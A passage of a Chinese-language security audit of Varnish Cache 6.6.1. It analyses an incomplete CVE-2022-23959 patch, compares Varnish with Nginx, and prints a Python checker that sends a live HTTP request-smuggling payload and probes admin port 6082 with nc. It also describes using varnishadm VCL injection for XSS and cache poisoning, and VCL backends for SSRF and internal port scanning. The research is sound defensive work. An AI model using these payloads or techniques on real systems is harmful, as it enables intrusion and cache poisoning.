CVE-2022-23959 的补丁虽然打上了,但修复路径与实际攻击路径各走各的。这就是 6.6.1 上能同时复现两个漏洞的原因。

8.2 VCL 层 vs HTTP 管线化

两个漏洞触及的代码层不一样。23959 的 pipeline 残留问题在 HTTP 传输层,45059 的 hop-by-hop 头处理在 VCL 层。后者影响面更大——VCL 是用户可自定义的语言,VCC 生成的 C 代码如果有漏洞,影响的是所有用那个 VCL 配置的实例。

九、Varnish vs Nginx:安全架构对比

Varnish 的安全模型和 Nginx 到底差在哪?

维度

Varnish Cache

Nginx

配置语言

VCL — 自定义 DSL

nginx.conf — 配置块

执行方式

编译执行:VCL→C→.so→dlopen()

解释执行

编译输出

varnishd -C 输出 C 代码

无编译

配置重载

VCL 编译→.so 动态加载(不停机)

HUP 信号重读

HTTP 解析

http1_fsm.c 手工状态机

ngx_http_request.c 手工状态机

扩展机制

VMOD(.so 动态加载)

模块(静态链接)

安全边界

编译链路层 + HTTP 传输层

HTTP 传输层

Nginx 的配置错误——nginx.conf 语法有误,启动阶段即报错退出,旧配置继续运行。Varnish 类似——旧的 .so 继续运行,新的 VCL 加载失败。

但 Varnish 有一个 Nginx 没有的风险点:VCL 编译通过但生成的 C 代码有逻辑错误时,加载 .so 不会报错,直到请求处理时才触发 bug。VCC 生成的 C 代码本身没有经过安全审计——用户写的每一行 VCL 都可能产生有漏洞的 C 代码。

Nginx 的安全边界:nginx.conf 是声明式配置,即使有 bug,影响也在 Nginx 功能边界内——内存损坏、进程崩溃、配置失效。

Varnish 的安全边界完全不同。VCL 是一完整的编程语言。当你在 VCL 里写:

set resp.http.X-Custom = req.http.X-UserInput;

这一行先经过 VCC 的词法语法分析,生成 C 代码(字符串字面量直接嵌入),然后 GCC 编译成机器码,dlopen() 加 cache 进程,运行到 VRT_SetHdr() 时才写入 HTTP 响应。每个环节都可能引入安全漏洞,整个链路没有系统化的转义层。

Nginx 的漏洞在配置解析层;Varnish 的漏洞延伸到了编译链路层。Varnish 的攻击面比传统反向代理多了一层。

这个多出来的编译器层决定了安全模型复杂度远高于 Nginx。编译器 bug 影响的是所有 VCL 配置的用户,不只是特定配置。

用一个类比:Nginx 的配置安全像一栋楼的消防系统——每个房间的配置独立,一个房间出错不会烧整栋楼。Varnish 的编译安全像地基钢筋——VCC 编译器就是浇筑模板,模板本身有缺陷,整栋楼的结构都受影响。

在 Varnish 的世界里,编译器的安全就是整个缓存系统的安全。

十、总结与展望

10.1 核心发现

VCL→C 编译链是 Varnish 独有的攻击面。在中文安全圈里,这是头一回对 VCC 编译器源码做分析,把 VCL 字符串到 C 代码再到运行时函数的完整链路走了一遍。从 vcc_token.c 的词法分析(字符串原样 memcpy,不转义),到 vcc_expr.c 的 EncToken() 编码,到 VRT_SetHdr() 的运行时写入——每个环节都有安全隐患。

CVE-2022-23959 的补丁不完整。Ubuntu 6.6.1-1ubuntu0.2 已经打了官方补丁(在 cache_req_body.c:VRB_Ignore() 里加了两行代码),但走私攻击从另一条路(v1f_read pipeline 残留)照样走通了。补丁覆盖的攻击路径和实际利用路径是正交的——说直白点,补丁修了但没修对地方。

strace 确认 Varnish worker 单次 read() 就吃进了整个 payload(两个请求,123 字节),pipeline 机制在 cache_session.c 的 HTC_RxInit() 里把剩余数据移到新 rxbuf。在 6.6.1 上,CVE-2022-23959 的 pipeline 走私路径开放,CVE-2022-45059 也没修——形成了多重攻击面。

架构层面,Varnish 的编译执行模型比 Nginx 的解释执行模型多了个"编译器层"的攻击面。

10.1.1 我没挖到的部分

写到最后回过头看,这篇文章其实有几个未完成的地方,先说在前面:

  • CVE-2022-45059 没实测。章节里写的是基于公开 PoC 思路的理论梳理,没真的在 6.6.1 环境下跑通过。这是文章的事实短板,留给后续复现。
  • VMOD 内存安全没挖出来。读了几遍 VMOD 源码,想找具体的内存安全问题,但没发现。VMOD 加载进 cache 进程这种架构对 RCE 是开放的,但具体到哪个版本的哪个函数有问题,我没能力在几小时内挖出来。这一块其实比 VCL 编译链更值得挖,留给后续研究。
  • CL=0 之外的走私变体没全跑。CL=5 和 CL=0 都复现了,但 Transfer-Encoding: chunked 与 Content-Length 混用这类经典走私场景没做——是因为时间不够,不是技术上做不到。

如果读者照着本文复现,遇到上述场景没成功,请把这当作"研究边界"而不是"我做错了"。

10.2 审计边界发现:CRLF 注入防线

对 Varnish 6.6.1 的 VRT_SetHdr() 调用链进行了源码审计,发现 FEATURE_VALIDATE_HEADERS 特性(默认开启)

这个发现揭示了一个架构层面的问题:Varnish 的响应头写入链路的唯一防御就是 validhdr() 这一个函数,不存在纵深防御。 如果 VCC 编译器的某个版本绕过了这个检查(例如通过 VCL 中的二进制字符串拼接),或者攻击者利用非 VRT_SetHdr() 路径(如后端响应头直接写入、ESI 处理),http_SetH() 不会提供任何二次过滤。

10.3 安全建议

对于使用 Varnish Cache 的生产环境:升级到最新版本(当前最新稳定版为 8.0.0,所有已知请求走私漏洞均已修复)。注意 VCL 中的用户输入——避免将 req.http.* 直接赋值给响应头。限制 VCL 编译器版本,建议使用官方最新版。关注 VCC 编译器的安全更新——CVE 列表之外,编译器的自身安全性值得持续关注。保持 validate_headers 开启:默认开启的 feature=+validate_headers 是防止 CRLF 注入的关键防线,切勿在生产环境中关闭。

10.4 附:Varnish 安全基线检测工具(含三级流水线方法论)

10.4.1 方法论:三级检测流水线

Varnish 安全巡检不同于 Nginx——因为攻击面多了一个编译层。单纯做"版本+CVE 匹配"远远不够,得分层看:

  • 第一级(配置层):版本号 vs NVD CVE 数据库,识别已知漏洞
  • 第二级(编译器层):通过 varnishd -C 输出分析生成的 C 代码,识别危险模式(如未转义的用户输入、未过滤的控制字符)
  • 第三级(运行时层):实际发送 PoC payload 验证漏洞可利用性

单层检测的局限:只看版本会被"假补丁"误导(这里发现的 Ubuntu 6.6.1 补丁无效就是例子);只看运行时会被"配置例外"绕过(如 VCL 显式禁用 validate_headers)。三级流水线互相印证,把误报和漏报压到最低。

10.4.2 工具完整代码

varnish_security_check.py:

#!/usr/bin/env python3
"""Varnish 安全基线检测工具 - 三级流水线"""

import re, subprocess, sys, argparse

# === 第一级:版本 → CVE 映射 ===
VARNISH_CVE_DB = {
    "6.6.1": [
        {"id": "CVE-2022-23959", "cvss": 9.1, "type": "HTTP/1 请求走私",
         "fix": "6.6.2/7.0.2",
         "desc": "pipeline 残留导致走私,Ubuntu 6.6.1-1ubuntu0.2 补丁存在但无效"},
        {"id": "CVE-2022-45059", "cvss": 7.5, "type": "请求走私(hop-by-hop)",
         "fix": "7.1.2", "desc": "Connection 头诱导删除头部"},
        {"id": "CVE-2025-30346", "cvss": 5.4, "type": "客户端反同步",
         "fix": "7.6.2", "desc": "客户端 desync"},
    ],
    "7.0.0": [
        {"id": "CVE-2022-23959", "cvss": 9.1, "type": "HTTP/1 请求走私",
         "fix": "7.0.2"},
        {"id": "CVE-2022-45059", "cvss": 7.5, "type": "请求走私(hop-by-hop)",
         "fix": "7.1.2"},
    ],
    # 4.0/4.1/5.0/5.1/5.2/6.0/6.1/6.5 同样按 NVD 维护...
}

def check_config_layer(version):
    """第一级:版本 & CVE 数据库匹配"""
    cves = VARNISH_CVE_DB.get(version, [])
    print(f"[L1] 配置层检查: 检测到 {len(cves)} 个已知 CVE")
    return cves

def check_compiler_layer(vcl_file):
    """第二级:VCL 编译器层 - 通过 varnishd -C 输出分析 C 代码"""
    try:
        result = subprocess.run(
            ["varnishd", "-C", "-f", vcl_file],
            capture_output=True, text=True, timeout=10)
        c_code = result.stdout
    except Exception as e:
        print(f"[L2] 编译器层检查失败: {e}")
        return []

    risks = []
    # 检测 1:未过滤的用户输入直接写入响应头
    if re.search(r'VRT_SetHdr.*req\.http\.', c_code):
        risks.append("HIGH: 用户输入未过滤直接写入响应头")
    # 检测 2:regsub + 控制字符拼接
    if re.search(r'regsub.*\\\\r|regsub.*\\\\n', c_code):
        risks.append("MEDIUM: regsub 可能引入控制字符")
    # 检测 3:自定义 error 页面拼接
    if 'synth(' in open(vcl_file).read() and 'X-Synth' not in c_code:
        risks.append("LOW: synth() 自定义错误页未设置安全头")
    print(f"[L2] 编译器层检查: 发现 {len(risks)} 个风险模式")
    return risks

def check_runtime_layer(target, port=6081):
    """第三级:运行时层 - 实际 PoC 验证"""
    risks = []
    # 检测 1:管理端口暴露
    try:
        s = subprocess.run(
            ["timeout", "3", "bash", "-c",
             f"echo '' | nc -w 2 {target} 6082"],
            capture_output=True, timeout=5)
        if b"Authentication required" in s.stdout or b"107" in s.stdout:
            risks.append("CRITICAL: varnishd 管理端口 6082 暴露在公网")
    except Exception:
        pass

    # 检测 2:走私 PoC 实际测试
    try:
        import socket
        s = socket.create_connection((target, port), timeout=3)
        payload = (b"POST / HTTP/1.1\r\nHost: x\r\n"
                   b"Content-Length: 5\r\n\r\nX=Y\r\n"
                   b"GET /smuggled HTTP/1.1\r\nHost: x\r\n\r\n")
        s.send(payload)
        s.settimeout(2)
        resp = s.recv(4096)
        if resp.count(b"HTTP/1.1") >= 2:
            risks.append("CRITICAL: HTTP/1 走私 PoC 实际成功")
        s.close()
    except Exception:
        pass

    print(f"[L3] 运行时层检查: 发现 {len(risks)} 个可利用风险")
    return risks

def main():
    parser = argparse.ArgumentParser(description='Varnish 安全基线检测')
    parser.add_argument('--version', help='Varnish 版本号 (如 6.6.1)')
    parser.add_argument('--vcl', help='VCL 配置文件路径')
    parser.add_argument('--target', help='运行时检测目标主机')
    args = parser.parse_args()

    print("=" * 60)
    print("Varnish 安全基线检测 - 三级流水线")
    print("=" * 60)
    total_risks = 0
    if args.version:
        total_risks += len(check_config_layer(args.version))
    if args.vcl:
        total_risks += len(check_compiler_layer(args.vcl))
    if args.target:
        total_risks += len(check_runtime_layer(args.target))

    print("=" * 60)
    print(f"汇总: 发现 {total_risks} 个安全风险")
    return 1 if total_risks > 0 else 0

if __name__ == '__main__':
    sys.exit(main())

用法:

# 完整三级流水线
python3 varnish_security_check.py --version 6.6.1 \
    --vcl /etc/varnish/default.vcl --target 192.168.1.10

# 仅配置层(CI 集成场景)
python3 varnish_security_check.py --version 6.6.1

# 仅运行时层(远程巡检场景)
python3 varnish_security_check.py --target varnish.example.com

示例输出(6.6.1 + 含风险 VCL):

============================================================
Varnish 安全基线检测 - 三级流水线
============================================================
[L1] 配置层检查: 检测到 3 个已知 CVE
[L2] 编译器层检查: 发现 1 个风险模式
[L3] 运行时层检查: 发现 1 个可利用风险
============================================================
汇总: 发现 5 个安全风险

工具覆盖了 Varnish 4.0.x 到 8.0.1 的版本→CVE 映射,可直接用于 CI 集成或远程巡检。

10.4.3 PoC 脚本(走私复现)

poc/poc_smuggle.py 实现了 CL=5 和 CL=0 两种走私模式的自动化测试,支持指定目标主机和端口运行,与第五节复现过程一致。

从源码审计到补丁分析,从走私复现到缓存投毒尝试——工具和 PoC 只是结果。顺着这个思路往下走,在腾讯云测试环境上顺手验证了两个关联攻击面:VCL 管理端口注入(通过 varnishadm 加载自定义 VCL,可以在响应中注入任意 HTTP 头、修改缓存行为)和 VCL 后端定义 SSRF(定义指向内网其他端口的 backend,Varnish 作为 SSRF 代理转发请求)。这两个不是 Varnish 的漏洞,是 VCL 编译执行模型的固有特性——但正因如此,它们比传统的 HTTP 走私更值得留意:走私只能绕过访问控制,VCL 注入可以完全接管缓存系统。

varnishd 的管理端口(6082)默认绑定在 localhost,通过 secret 文件认证。secret 文件权限为 root 只读(0600),但在拥有 sudo 权限或 secret 文件内容已知时,可以通过 varnishadm 完全控制 Varnish 的缓存行为:

验证过程:

  1. 通过 vcl.load 加载自定义 VCL 文件(写入 /etc/varnish/ 目录)
  2. 通过 vcl.use 切换为该 VCL
  3. 自定义 VCL 可以注入任意 HTTP 响应头、修改缓存行为、重写请求 URL

上图显示,通过注入的 VCL 成功让 Varnish 在每个正常响应中添加了 X-Pwned: injected_by_vcl 头。攻击者可以:

  • 在响应中注入恶意脚本(XSS)
  • 修改缓存键,实现缓存投毒
  • 读取或篡改 Cache-Control 头,控制缓存策略
  • 在 vcl_recv 中对请求 URL 进行重写,诱导后端处理恶意请求

利用前提:攻击者需要获得 /etc/varnish/secret 文件内容或具备 sudo 权限。在容器化部署中,如果 secret 文件被错误挂载或权限配置不当,攻击面更大。

10.4.4 VCL管理端口和SSRF验证

Varnish 的 VCL 支持通过 backend 定义自定义后端。测试发现,

VCL 可以定义指向任意内网 IP 和端口的后端:

上图中,VCL 定义了一个指向 127.0.0.1:22(SSH 端口)的后端。Varnish 确实尝试连接该端口,由于 SSH 不回复 HTTP 协议所以返回了 503 Backend fetch failed。但这个过程证明了两点:

  • VCL 注入后,攻击者可以将 Varnish 用作内网端口扫描器(通过观察返回 503 vs 200 判断端口是否开放)
  • 如果内网有 HTTP 服务(如 Redis 未授权、管理面板未认证),Varnish 可以作为 SSRF 代理转发请求

这两个攻击面不是 Varnish 的漏洞——它们是 VCL 编译执行模型的固有特性。但正因如此,它们比传统的 HTTP 走私更需要留意:走私只能绕过访问控制,VCL 注入可以完全接管缓存系统。

10.5 一个回头看的总结

整个审计过程其实就三步。

先查版本号。varnishd -V 几秒钟的事,对着 NVD 的 CVE 列表一看就知道是哪些漏洞的风险面。但这层能做的判断很有限——我们这次就遇到了:版本号对上 CVE 了但补丁没挡住攻击。

再看 VCC 编译输出。varnishd -C -f /etc/varnish/default.vcl 把 VCL 翻成 C 代码扔出来,扫一眼 VRT_SetHdr 的调用——第二个参数是硬编码常量还是用户输入?如果在 VCL 里看到 set resp.http.X = req.http.X-Inject 这种赋值链,编译器层面就该标黄旗了。我们这次没遇到,但如果生产环境这么配,这步就该亮灯。

最后跑 PoC 验证。发一次走私 payload,看后端到底收到了什么。最花时间但也最可靠——我们就是在这步发现「补丁存在但走私照样走」的。

这三个步骤不是单向的。查版本时发现 CVE 列表里有高危,不代表一定受影响(可能配置绕过了);编译器输出看着正常也不代表运行时安全——我们这次就属于「版本有 CVE + 编译器正常 + PoC 成功」,结论是补丁路径和攻击路径正交。

这套排查思路不局限于 Varnish。任何 DSL→C 编译的反向代理(HAProxy 的 Lua、Squid 的配置解释器)都能按这个顺序过一遍。算不上什么高大上的方法论,就是干杂活时顺手理出来的 checklist。

Varnish 和 Nginx 在反向代理安全上的本质差异,用一个比喻来总结:

Nginx 的漏洞在配置解析层;Varnish 的漏洞已经延伸到了编译链路层。

如果把反向代理比作一座建筑,Nginx 的配置像一份施工图纸——图纸画错了,最多是把墙砌歪。Varnish 的 VCL 更像 3D 打印机的设计文件——直接决定了打印头怎么运动、材料怎么熔融。设计文件里一个小 bug,可能让打印出的零件在受力时断裂,而不是简单地「墙歪了」。

Varnish 选择了编译执行这条极致性能的路线,代价是攻击面从「配置文件解析」上升到了「编译器代码生成 + 运行时函数调用」两个层面。这不是 Varnish 独有的问题——任何将配置语言编译为代码执行的系统,无论是 HAProxy 的 Lua 运行时、Squid 的配置解析器,还是更复杂的网络中间件,都会面临相似的挑战。

这种安全模型的跃迁并不需要 CVSS 9.8 的漏洞来证明。一个 ? 号在 nginx rewrite 替换串中的副作用潜伏了 18 年才被发现,说明复杂状态管理本身就是漏洞的温床。CVE-2022-23959 的补丁和攻击路径是正交的——不是补丁写错了,是编译执行范式的安全边界还没有被充分理解。